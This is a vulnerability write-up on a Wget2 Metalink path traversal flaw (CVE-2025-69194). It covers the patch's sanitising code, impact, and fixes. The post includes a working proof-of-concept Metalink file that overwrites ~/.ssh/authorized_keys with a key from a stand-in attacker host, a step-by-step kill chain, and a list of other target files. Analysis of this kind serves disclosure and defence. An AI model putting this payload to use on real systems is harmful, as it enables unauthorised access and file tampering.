Wget2 Metalink Path Traversal: Downloading Your Way to RCE
Jan 16, 2026·5 min read
Executive Summary (TL;DR)
Wget2 trusted Metalink filenames implicitly. If you download a malicious '.metalink' file with version <= 2.2.0, it can traverse directories (e.g., '../../') and overwrite sensitive files like SSH keys or shell configs. Fixed in version 2.2.1.
GNU Wget2 contains a critical path traversal vulnerability within its Metalink parsing logic. By constructing a malicious Metalink XML file, an attacker can trick the client into writing files anywhere on the filesystem, leading to potential RCE.
The Hook: Convenience vs. Security
We all love download accelerators. GNU Wget2, the modern, multi-threaded successor to the venerable Wget, is designed to suck down files from the internet as fast as your bandwidth allows. One of its power features is support for Metalink (RFC 5854), an XML-based standard that lists file mirrors, checksums, and other metadata to ensure you get the right file from the fastest source.
But here is the problem with complex standards: they often require the client to trust instructions from the server. Metalink doesn't just tell Wget2 where to download a file from; it can also suggest what to name that file locally via the name attribute.
In a perfect world, software would take that name, smile politely, and strip out anything dangerous. In the world of CVE-2025-69194, Wget2 took that name, nodded enthusiastically, and let the internet write files wherever it damn well pleased on your hard drive.
The Flaw: Blind Trust
The vulnerability lies in libwget/metalink.c. When Wget2 processes a Metalink v3 or v4 XML file, it parses the <file> element. Ideally, a download client should treat the name attribute as a mere suggestion, strictly confining the output to the current working directory.
However, prior to version 2.2.1, Wget2 performed zero sanitization on this attribute. It simply concatenated the provided string to the current path.
This is a classic Path Traversal (CWE-22) scenario. If the XML says <file name="cool_game.exe">, Wget2 writes cool_game.exe. But if the XML says <file name="../../.ssh/authorized_keys">, Wget2 blindly resolves that path relative to where the user is standing. It walks up the directory tree and smashes whatever file is at the destination. No questions asked. No handcuffs.
The Code: The Smoking Gun
Let's look at the fix (Commit 684be478), which reveals exactly what was missing. The developers had to implement a new function, sanitized_filename, to enforce the rules laid out in RFC 5854.
Here is the logic they added to stop the bleeding:
static const char *sanitized_filename(const char *in)
{
// RFC 5854:
// The path MUST NOT contain any directory traversal directives.
// The path MUST be relative. The path MUST NOT begin with a "/", "./", or "../";
// contain "/../"; or end with "/..".
if (*in == '/'
|| !strncmp(in, "./", 2)
|| !strncmp(in, "../", 3)
|| strstr(in, "/../")
|| wget_match_tail(in, "/../"))
{
return NULL;
}
return wget_strdup(in);
}[!NOTE] Before this code existed,
in(the filename from the XML) was used raw. The patch explicitly rejects absolute paths (/), explicit relative paths (./,../), and any traversal attempts in the middle of the string.
It is somewhat ironic that the RFC explicitly forbids this behavior, yet the implementation missed it entirely until 2025. It serves as a reminder: Standards compliance isn't just about interoperability; it's often a security roadmap.
The Exploit: Dropping the Payload
Exploiting this is trivially easy. You don't need heap spraying or ROP chains. You just need a text editor and a malicious intention.
The attack vector requires the victim to download a .metalink file and process it. This could be achieved via a social engineering campaign: "Hey, download our new super-fast installer accelerator!"
Here is what pwn_ssh.metalink looks like:
<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
<files>
<!-- The Path Traversal Payload -->
<file name="../../.ssh/authorized_keys">
<size>567</size>
<resources>
<!-- The content that will overwrite the key file -->
<url type="http">http://attacker.com/evil_pub_key.txt</url>
</resources>
</file>
</files>
</metalink>The Kill Chain:
- Delivery: The victim downloads
pwn_ssh.metalink. - Execution: The victim runs
wget2 --force-metalink -i pwn_ssh.metalink(or simply passes the URL if Metalink auto-detection is on). - Traversal: Wget2 parses the name
../../.ssh/authorized_keys. - Overwrite: The content of
evil_pub_key.txtis fetched and written over the victim's SSH keys. - Access: The attacker
ssh's into the box.
The Impact: Why We Panic
Arbitrary File Write is often one step away from Remote Code Execution (RCE). In a Linux environment, the implications are catastrophic depending on the user running wget2.
If run as a standard user:
- RCE: Overwrite
~/.bashrc,~/.profile, or~/.ssh/authorized_keys. - Persistence: Drop a malicious systemd unit in
~/.config/systemd/user/.
If run as root (God forbid):
- Total System Compromise: Overwrite
/etc/passwd,/etc/shadow, or system binaries. - DoS: Corrupt critical boot files.
The CVSS score is 8.8 (High) because while it requires user interaction (downloading the file), the complexity is low and the impact is total confidentiality, integrity, and availability loss for the affected user context.
The Fix: Patch or Perish
The fix landed in GNU Wget2 version 2.2.1 on January 9, 2026. If you are using any version prior to this, you are vulnerable.
Immediate Actions:
- Upgrade: Check your package manager. If
wget2 --versionreturns<= 2.2.0, update immediately. - Verify: If you cannot update, avoid using the
--force-metalinkflag and treat any.metalinkor.meta4files with extreme suspicion. - Audit: If you suspect you've been hit, check your logs for
wget2processes downloading strange XML files, and audit the modification times of your dotfiles (like.bashrc).
This vulnerability is a stark reminder that even 'simple' command-line tools parse complex data structures that can bite you.
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
GNU Wget2 GNU | <= 2.2.0 | 2.2.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| CVSS v3.1 | 8.8 (High) |
| Attack Vector | Network / User Interaction |
| Impact | Arbitrary File Write / RCE |
| Commit | 684be478 |
| Status | Patched (v2.2.1) |
MITRE ATT&CK Mapping
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.